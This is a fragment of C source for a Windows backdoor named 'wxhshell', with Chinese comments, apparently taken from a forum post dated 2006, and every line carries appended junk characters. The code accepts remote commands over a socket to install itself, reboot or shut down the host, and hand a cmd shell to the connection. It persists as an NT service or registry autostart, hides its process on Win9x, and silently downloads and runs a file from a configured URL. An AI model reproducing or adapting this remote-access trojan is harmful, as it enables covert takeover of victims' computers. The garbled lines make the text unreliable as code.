  } '| i?-(f)  
  // 安装 oSCaP,P  
  case 'i': { 5FOMh"!z\  
    if(Install()) =MNp;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kj6:P$tH  
    else HA'~1$#z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j_JY[sex  
    break; G9:XEEN  
    } c~<;}ve^z  
  // 卸载 ;,bgJgK  
  case 'r': { y_m+&Oe  
    if(Uninstall()) N{%7OG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @!`__>K  
    else %]+R>+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ceUe*}\cr  
    break; !!C/($  
    } nCYkUDnZ  
  // 显示 wxhshell 所在路径 P%2v(  
  case 'p': { Znb={hh  
    char svExeFile[MAX_PATH]; )] @h}K}  
    strcpy(svExeFile,"\n\r"); 3E*|^*  
      strcat(svExeFile,ExeFile); :[CV_ME.;  
        send(wsh,svExeFile,strlen(svExeFile),0); {SV/AN  
    break; rUI?{CV  
    } o=Vs)8W  
  // 重启 ! I:N<  
  case 'b': { zsp%Cz7T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /p !A:8  
    if(Boot(REBOOT)) 4)gG_k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R*r4)+gd  
    else { w<(ubR %$  
    closesocket(wsh); p@jw)xI  
    ExitThread(0); g*YDgY  
    } }Ulxt:}   
    break; 3RaduN]  
    } G^.N$wcv  
  // 关机 RqA>"[L  
  case 'd': { n\+ c3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0he3[m}Nr  
    if(Boot(SHUTDOWN)) $7q3[skH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bve|+c6W  
    else { 4Fg2/O_3  
    closesocket(wsh); flCT]ZR  
    ExitThread(0); t'U=K>7  
    } kyHli~Nr"  
    break; *D|a`R!Y  
    } 7${<u0((!  
  // 获取shell (4FVemgy  
  case 's': { .8YxEnXw)(  
    CmdShell(wsh); >eTbg"\  
    closesocket(wsh); sa'1hX^@  
    ExitThread(0); cO J`^^P  
    break; Wk[a|>  
  } AX`T ku  
  // 退出 Z!g6uV+.5  
  case 'x': { 0x<ASfka  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SW9 C 8Q  
    CloseIt(wsh); -DkD*64wu  
    break; y-hTTd"{  
    } 'C5id7O&  
  // 离开 JvO1tA]ij  
  case 'q': { it}h8:^<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wep^He\:  
    closesocket(wsh); 'ma X  
    WSACleanup(); &@lfr623  
    exit(1); w'TAM"D`  
    break; >` s"C  
        } t=Oq<r  
  } 'APx  
  } Ll|-CY $  
3H,x4L5j  
  // 提示信息 Bc8&-eZ ,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|rBb[  
} OJm ]gb7  
  } ]he~KO[j<  
K+~?yOQj  
  return; KPToyCyR1  
} "lt<$.  
{dF@Vg_n  
// shell模块句柄 )+L|<6JXA  
int CmdShell(SOCKET sock) E`j' <#V!  
{ %2:UsI  
STARTUPINFO si; ejd_ 85$  
ZeroMemory(&si,sizeof(si)); H8YwMhE7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :aOR@])>o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2.Z#\6Vj  
PROCESS_INFORMATION ProcessInfo; Ovx *  
char cmdline[]="cmd"; 4ior  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jh.~]\u  
  return 0; 1i#y>fUj  
} 2q[pOT'k  
I7_lKr3  
// 自身启动模式 J=-z~\f56  
int StartFromService(void) J!om"h  
{ I7_8oq\3D  
typedef struct Nk@-yZ@,8  
{ suQTi'K1  
  DWORD ExitStatus; &-*l{"7p+%  
  DWORD PebBaseAddress; G/JGb2I/7|  
  DWORD AffinityMask; Zv}F?4T~:  
  DWORD BasePriority; *Hx*s_F  
  ULONG UniqueProcessId; ?pIELezfK  
  ULONG InheritedFromUniqueProcessId; f:M^q ;  
}   PROCESS_BASIC_INFORMATION; JLm3qIC  
Sqi9'-%m  
PROCNTQSIP NtQueryInformationProcess; u43Mo\"<&%  
N~]qQ oj,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J299 mgB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y CHOg  
K{d3)lVYCS  
  HANDLE             hProcess; %ap]\o$^4  
  PROCESS_BASIC_INFORMATION pbi; 6-\Mf:%B  
80Y% C-Y:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fBh"  
  if(NULL == hInst ) return 0; oO;L l?~  
-o~zb-E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j)/Vtf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rd&d~R6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0y$VPgsKf  
P?q HzNGi7  
  if (!NtQueryInformationProcess) return 0; gE#|eiu  
~U w<e~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vk|f"I  
  if(!hProcess) return 0; A o* IshVh  
(^W}uDPCB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Yvz-aSyO  
k(G6` dY  
  CloseHandle(hProcess); P]m{\K  
|-6`S1.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;uAh)|;S#  
if(hProcess==NULL) return 0; SOG(&)b  
,JI]Eij^  
HMODULE hMod; & PXT$x[i  
char procName[255]; !r.-7hR$  
unsigned long cbNeeded; =ttD5 p  
Y 22Ai  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lO\HchG zB  
f-#:3k*7S  
  CloseHandle(hProcess); mKtMI!FR  
k-&<_ghT \  
if(strstr(procName,"services")) return 1; // 以服务启动 (su7*$wV  
( !@gm)#h  
  return 0; // 注册表启动 >3g`6d  
} $G <r2lPy  
kj2qX9 Ms  
// 主模块 "{@[06|1  
int StartWxhshell(LPSTR lpCmdLine) &p#PYs|H  
{ :C^{Lc  
  SOCKET wsl; 6v{&,q  
BOOL val=TRUE; [[_>D M  
  int port=0; #O_%!7M{4  
  struct sockaddr_in door; kj|Oj+&  
v8)wu=u  
  if(wscfg.ws_autoins) Install(); {QG6ldI  
#:=c)[G8  
port=atoi(lpCmdLine); 5Kd"W,  
_b>z'4_'  
if(port<=0) port=wscfg.ws_port; \6GNKeN  
k t`ln  
  WSADATA data; U}HSL5v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~c&sr5E  
r[):'ys,C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :)Es]wA#HZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \$Ky AWrZi  
  door.sin_family = AF_INET; 0-OKbw5%=b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^W}| 1.uZ  
  door.sin_port = htons(port); <9H3d7%  
Hwd^C 2v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F+VNrt-  
closesocket(wsl); ~:,}?9  
return 1; (eb65F@P  
} wGMoh.GTh  
1r4NP  
  if(listen(wsl,2) == INVALID_SOCKET) { PC"=B[OlJ  
closesocket(wsl); `Gxb98h/r  
return 1; )M.g<[= ^  
} ,c&t#mu*0  
  Wxhshell(wsl); `B&E?x  
  WSACleanup(); ,;YNI  
\+Qd=,!i(  
return 0; Qd~7OH4Lp  
yL<u>S0  
} 9pi{)PDJ  
+5-|6  
// 以NT服务方式启动 s hq +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _nzTd\L88  
{ !iHC++D  
DWORD   status = 0; |$\1E+  
  DWORD   specificError = 0xfffffff; Z;u3G4XlF  
g~|vmVBua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Ous|a[)o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hX,RuI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IuFr:3(  
  serviceStatus.dwWin32ExitCode     = 0; TSJeS`I  
  serviceStatus.dwServiceSpecificExitCode = 0; ( +S-  
  serviceStatus.dwCheckPoint       = 0; UZ<.R"aK  
  serviceStatus.dwWaitHint       = 0; /J"fbBXwY  
V]]!0ugvk(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -#<{3BJTrz  
  if (hServiceStatusHandle==0) return; 19% "F!^i  
}/tf^@  
status = GetLastError(); D@5h$ m5  
  if (status!=NO_ERROR) {[bpvK  
{ Bk~lM'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S+Ia2O)BA  
    serviceStatus.dwCheckPoint       = 0; F;/^5T3wI  
    serviceStatus.dwWaitHint       = 0; Wd+kjI\  
    serviceStatus.dwWin32ExitCode     = status; 'lEIwJV$  
    serviceStatus.dwServiceSpecificExitCode = specificError; iVVR$uzhH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M d Eds|D  
    return; L>Ze*dt  
  } [SKDsJRPP  
s LDEa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sAjUX.c  
  serviceStatus.dwCheckPoint       = 0; ut]&3f''  
  serviceStatus.dwWaitHint       = 0; m'G=WO*%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uARkf'  
} 7c%dSs6  
M/xm6  
// 处理NT服务事件,比如:启动、停止 0%|)=T3Slu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1NTx?JJfW  
{ PxWH)4  
switch(fdwControl) l  ~xXy<  
{ FKe/xz  
case SERVICE_CONTROL_STOP: qUg/mdv&  
  serviceStatus.dwWin32ExitCode = 0; "9X(.v0ze  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zLxuxf~4@  
  serviceStatus.dwCheckPoint   = 0; &{#6Z  
  serviceStatus.dwWaitHint     = 0; a>6M{C@pd  
  { ?J+*i d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z,-TMtM7  
  } a~!7A ZT-O  
  return; <Vh5`-J  
case SERVICE_CONTROL_PAUSE: Qi qRx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;Hp78!#,  
  break; wT3D9N.  
case SERVICE_CONTROL_CONTINUE: =_6 Q26  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {~#01p5  
  break; *.A-UoHa  
case SERVICE_CONTROL_INTERROGATE:  YO fYa  
  break; E+ XR[p  
}; !6#.%"{-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D4@(_6^  
} 1x sJz^%V  
U(~Nmo'  
// 标准应用程序主函数 |1<B(iB'{/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3+ C;zDKa  
{ xvWP^Qkb  
Fy>g*3  
// 获取操作系统版本 Y_XRf8Sw  
OsIsNt=GetOsVer(); tqt~F2u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C.}ho.} r  
b ts*qx&)  
  // 从命令行安装 Y{t}sO%A  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZXbq5p_  
hO$29_^"  
  // 下载执行文件 |\C.il7  
if(wscfg.ws_downexe) { A~s6~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]N1,"W}  
  WinExec(wscfg.ws_filenam,SW_HIDE); qr*e9Uk^  
} i4SWFa``  
Kr4%D*  
if(!OsIsNt) { >;s2V_d  
// 如果时win9x,隐藏进程并且设置为注册表启动 (f* r  
HideProc(); hig t(u  
StartWxhshell(lpCmdLine); L<Z2  
} ~ihi!u%~}  
else # M Y4Mr  
  if(StartFromService()) N>@.(f&w  
  // 以服务方式启动 An BM*5G  
  StartServiceCtrlDispatcher(DispatchTable); Sx_j`Cgy  
else #S|On[Q!  
  // 普通方式启动 %P *b&H^0  
  StartWxhshell(lpCmdLine); !_&;#j](  
UyMlk  
return 0; (tg+C\ S.  
}
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只看该作者 1 发表于: 2006-10-10
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